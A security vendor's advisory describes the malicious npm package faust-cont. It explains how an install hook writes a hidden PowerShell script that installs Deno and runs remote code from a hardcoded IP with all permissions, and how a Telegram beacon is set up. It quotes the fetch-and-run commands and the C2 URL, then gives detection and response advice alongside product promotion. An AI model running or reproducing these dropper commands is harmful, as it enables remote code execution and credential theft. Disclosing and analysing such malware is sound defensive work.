faust-contnpm
faust-cont is a confirmed malicious npm package (MAL-2026-11042) that steals credentials and exfiltrates sensitive data (malicious version 1.0.0). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in faust-cont (npm)
What this malware does
The npm package faust-cont is a supply-chain dropper disguised as a benign CLI tool (index.js is a decoy that only logs "cli tool install package loaded"). The real behaviour is placed in an install script.
An install lifecycle hook (install: node install.js) executes automatically on npm install, before the package is ever imported. On Windows the install script writes a PowerShell script to %TEMP%\setup.ps1 and launches it hidden and detached (powershell -WindowStyle Hidden -ExecutionPolicy Bypass). That script bootstraps a runtime toolchain so execution succeeds on a clean host — it installs scoop (irm get.scoop.sh | iex), then winget, then Deno — and finally runs deno run -A http://172.94.9.157/v028f8cde892b0b74c8.js, fetching and executing a remote module from a hardcoded raw IP over plain HTTP with all Deno permissions granted (filesystem, network, environment, subprocess). Per the dropper's own comments the remote stage is a server-compiled loader that pulls a second stage which sets up autorun persistence and runs a main payload. The install script also contains a Telegram Bot API beacon that reports OS / architecture / hostname on install (the bot token is blank in the published build). Any Windows workstation or CI runner that installs the package (directly or transitively) hands all-permission remote code execution to the operator.
The package's npm install lifecycle hook runs install.js, which writes a PowerShell script to %TEMP%\setup.ps1 and launches it via start /min powershell -WindowStyle Hidden -ExecutionPolicy Bypass with windowsHide and detached options. The PowerShell script installs the Deno runtime (via winget/scoop) and then invokes deno run -A http://172.94.9.157/v028f8cde892b0b74c8.js, fetching unpinned JavaScript from a bare IP over plain HTTP and executing it with all Deno permissions on the installer's Windows host. Separately, install.js collects OS name, architecture, and hostname and POSTs them to a hardcoded api.telegram.org bot endpoint (bot token and chat_id constants are blank in this published artifact, but the exfil path is fully wired and fires unconditionally). Hidden-window and detached execution deliberately conceal the dropper from the installing user.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Credential / info stealerFind it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for faust-cont (version 1.0.0). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging faust-cont across your stack and pipelines.
If you installed it — respond
faust-cont is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If faust-cont was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks faust-cont before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
- codelake Research · finder
Detect & block this
O3 blocks faust-cont-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.